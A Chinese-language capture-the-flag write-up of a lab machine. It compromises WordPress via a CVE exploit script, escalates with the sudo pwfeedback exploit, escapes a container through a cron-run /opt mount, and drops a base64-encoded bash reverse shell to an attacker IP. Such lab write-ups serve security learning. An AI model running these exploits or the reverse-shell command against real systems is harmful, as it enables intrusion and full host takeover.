

The_High_Priestess_II

端口探测

SHELL

```
(root@kali)-[~]
# nmap -p- 192.168.56.108
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 21:45 -0400
Nmap scan report for 192.168.56.108
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:BF:97:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.43 seconds
```

SHELL

```
(root@kali)-[~]
# nmap -p22,80 -A -T4 -sS 192.168.56.108
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 21:46 -0400
Nmap scan report for 192.168.56.108
Host is up (0.00021s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.59 ((Debian))
|_http-title: The High Priestess II | \xE5\xA5\xB3\xE7\xA5\xAD\xE5\x8F\xB8
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 08:00:27:BF:97:BF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 3.2 - 4.14 (93%), Linux
2.6.32 - 3.10 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 5 - 10
(Linux 3.4 - 3.18) (92%), Infoblox Trinzic network control appliance (92%), Linux
2.6.32 (92%), Linux 3.2 - 3.16 (92%), Google Chromecast or Roku TV (Linux 4.9)
(92%), Linux 5.10 - 5.19 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.21 ms  192.168.56.108

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds
```

这里的扫描没发现什么有用的信息，我们对web进行目录爆破，得到 `/wordpress` 端口下运行着一个wordpress服务。

[illegible]

WordPress Security Scanner
Version 4.1.0
An Automattic endeavor
<https://automattic.com>

```
[+] URL: http://192.168.56.108/wordpress/ [192.168.56.108]
[+] Started: Sat Sep 12 21:55:58 2026
[+] Command Line: wpscan --url http://192.168.56.108/wordpress/
[+] Hostname: kali
```

[+] Headers

```
| Interesting Entry: Server: Apache/2.4.59 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
```

```
[+] XML-RPC seems to be enabled: http://192.168.56.108/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
```

```
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| -
```

```
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| -
```

```
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
```

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

```
[+] WordPress readme found: http://192.168.56.108/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
```

```
[+] Upload directory has listing enabled: http://192.168.56.108/wordpress/wp-content/uploads/
    | Found By: Direct Access (Aggressive Detection)
    | Confidence: 100%
```

```
[+] The external WP-Cron seems to be enabled: http://192.168.56.108/wordpress/wp-cron.php
    | Found By: Direct Access (Aggressive Detection)
    | Confidence: 60%
```

```
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02).
| Found By: Meta Generator (Passive Detection)
| - http://192.168.56.108/wordpress/, Match: 'WordPress 6.9'
| Confirmed By: Atom Generator (Aggressive Detection)
| - http://192.168.56.108/wordpress/index.php/feed/atom/, <generator
uri="https://wordpress.org/" version="6.9">WordPress</generator>

[i] The main theme could not be detected.

[!] No WPScan API Token given, as a result vulnerability data has not been
output.
[!] You can get a free API token with 25 daily requests by registering at
https://wpscan.com/register
[+] Finished: Sat Sep 12 21:56:02 2026
[+] Requests Done: 31
[+] Cached Requests: 4
[+] Most response codes received: 404: 16, 200: 13, 302: 2
[+] Data Sent: 7.904 KB
[+] Data Received: 148.028 KB
[+] Memory used: 170.777 MB
[+] Elapsed time: 00:00:03
```

CVE-2026-60137

这个 WordPress 6.9 在 CVE-2026-60137 影响范围内，使用 wp2shell 进行攻击：

```
(root@kali)-[~/wp2shell/wp2shell-exploit]
# python3 exploit.py http://192.168.56.108/wordpress/
[+] vulnerable: 0.024s/0.425s
```

SHELL

vulnerable，使用这个cve是可行的，但直接用脚本跑多半会报错：

```
(root@kali)-[~/wp2shell/wp2shell-exploit]
# python exploit.py http://192.168.56.108/wordpress/ -c 'id'
[*] Phase 1: Seeding oEmbed cache (write primitive)...
[*] Phase 2: Extracting metadata via blind SQLi...
wp_posts
prefix: wp_
admin ID: 1
cache IDs: [34, 35, 36]
[*] Phase 3: Privilege escalation via Customizer changeset...
[*] Phase 4: Deploying webshell...
[-] Cannot reach login page: timed out
```

SHELL

需要访问的 /wordpress/wp-login.php 页面以及其下的操作都及其缓慢，脚本是可行的，但是都超时了，这边推荐使用cve的原理手打。

当然我们也可以直接暴力将脚本 **Phase 4** 这一段中源码的 **timeout=** 参数全部强行调大，命令是能正常执行的：

```
(root@kali)-[~/wp2shell/wp2shell-exploit]
# python exploit.py http://192.168.56.108/wordpress/ -c 'id'
[*] Phase 1: Seeding oEmbed cache (write primitive)...
[*] Phase 2: Extracting metadata via blind SQLi...
    wp_posts
    prefix: wp_
    admin ID: 1
    cache IDs: [51, 52, 53]
[*] Phase 3: Privilege escalation via Customizer changeset...
[*] Phase 4: Deploying webshell...
[*] Phase 5: Executing command...
[+] administrator: w2s_b5b98ba9da00:W2s!iLdfmNJgSBd4Rw-o_p4p
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

反弹shell

接下来就是反弹shell，靶机上没有 **nc** 和 **busybox**，直接使用 **sh**。

得到shell之后就是尝试提权了，我们直接起一个 **linpeas**，这里标红了一个 **sudo 1.8.25**，我们去找对应的漏洞：

```
(root@kali)-[~]
# searchsploit "sudo 1.8.25"
```

Exploit Title	Path
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow	linux/local/48052.sh
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (	linux/dos/47995.txt

```
Shellcodes: No Results
Papers: No Results
```

我们尝试使用 **pwfeedback**，给靶机上传脚本和 **socat**，都给上运行权限，运行脚本就得到root权限了：

```
www-data@94afbbee59d9:/var/www/html/wordpress$ ./48052.sh
```

We trust you have received the usual lecture from the `local` System Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

Password:

Sorry, try again.

Sorry, try again.

```
root@94afbbee59d9:/var/www/html/wordpress# exit
```

sudo: 2 incorrect password attempts

Exploiting!

```
root@94afbbee59d9:/var/www/html/wordpress# id
```

```
uid=0(root) gid=33(www-data) groups=33(www-data)
```

```
root@94afbbee59d9:/var/www/html/wordpress# cd /root/
```

```
root@94afbbee59d9:/root# ls
```

```
tips user.txt
```

```
root@94afbbee59d9:/root# cat user.txt
```

```
flag{user-ebca7d44de27ce99216bc27733b99511}
```

```
root@94afbbee59d9:/root# cat tips
```

```
Run a shell script in /opt every minute
```

```
user.txt /var/www/
```

得到user flag:

```
flag{user-ebca7d44de27ce99216bc27733b99511}
```

tips

这里的 `tips`:

```
Run a shell script in /opt every minute
```

```
user.txt /var/www/
```

我们重新看回到 `linpeas` 输出的 `container` 这一项, `Writable mount points` 中发现 `/opt` 和 `/var/www/html` 都是直接挂载的 ext4 文件系统。

```
/dev/sda1 on /opt type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /var/www/html type ext4 (rw,relatime,errors=remount-ro)
```

我们现在有 `CAP_SETGID` 和 `CAP_SETUID`，可以给自己提权到完整的容器 `root` 了。虽然没什么用

SHELL

```
root@94afbbee59d9:/var/www/html/wordpress# python
Python 2.7.16 (default, Oct 10 2019, 22:02:15)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setgroups([0])
>>> os.setgid(0)
>>> os.setuid(0)
>>> os.execl("/bin/bash", "bash", "-p")
root@94afbbee59d9:/var/www/html/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
```

opt

既然提示我们 `/opt every minute`，我们尝试用 `pspy` 监听一下文件更改，然后就有大发现：

SHELL

```
2026/09/14 11:53:01 FS:      OPEN DIR | /opt/
2026/09/14 11:53:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:53:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:53:01 FS:    CLOSE_NOWRITE DIR | /opt/
2026/09/14 11:54:01 FS:      OPEN DIR | /opt/
2026/09/14 11:54:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:54:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:54:01 FS:    CLOSE_NOWRITE DIR | /opt/
2026/09/14 11:55:01 FS:      OPEN DIR | /opt/
2026/09/14 11:55:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:55:01 FS:      ACCESS DIR | /opt/
2026/09/14 11:55:01 FS:    CLOSE_NOWRITE DIR | /opt/
```

果然每分钟 `/opt` 都会被宿主检查一次，我们尝试写入任意shell：

SHELL

```
root@94afbbee59d9:/var/www/html/wordpress# cat >/opt/zz-check.sh <<'EOF'
> #!/bin/sh
> {
>   id
>   pwd
>   hostname
> } > /var/www/html/cron-proof.txt
> EOF
```

SHELL

```

2026/09/14 11:57:01 FS:          OPEN DIR | /opt/
2026/09/14 11:57:01 FS:          ACCESS DIR | /opt/
2026/09/14 11:57:01 FS:          ACCESS DIR | /opt/
2026/09/14 11:57:01 FS:    CLOSE_NOWRITE DIR | /opt/
2026/09/14 11:57:01 FS:          OPEN | /opt/zz-check.sh
2026/09/14 11:57:01 FS:          ACCESS | /opt/zz-check.sh
2026/09/14 11:57:01 FS:    CLOSE_NOWRITE | /opt/zz-check.sh
2026/09/14 11:57:01 FS:          OPEN | /opt/zz-check.sh
2026/09/14 11:57:01 FS:          ACCESS | /opt/zz-check.sh
2026/09/14 11:57:01 FS:          CREATE | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:          OPEN | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:          MODIFY | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:          MODIFY | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:          MODIFY | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:          MODIFY | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:    CLOSE_WRITE | /var/www/html/cron-proof.txt
2026/09/14 11:57:01 FS:    CLOSE_NOWRITE | /opt/zz-check.sh

```

SHELL

```

root@94afbbee59d9:/var/www/html/wordpress# cat /var/www/html/cron-proof.txt
uid=0(root) gid=0(root) groups=0(root)
/root
Maze

```

这样就逃逸成功了，而且直接拿到了宿主的root权限，我们直接写个反弹shell出去就能拿到宿主的shell了：

SHELL

```

root@94afbbee59d9:/var/www/html/wordpress# printf '#!/bin/sh\nprintf
KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAmbase64 -d|bash' >
/opt/revshell.sh
root@94afbbee59d9:/var/www/html/wordpress# chmod 755 /opt/revshell.sh

```

SHELL

```

root@Maze:~# ls
root.txt
root@Maze:~# cat root.txt
flag{root-9faf55fce0b157eea2addee3b1411de9}

```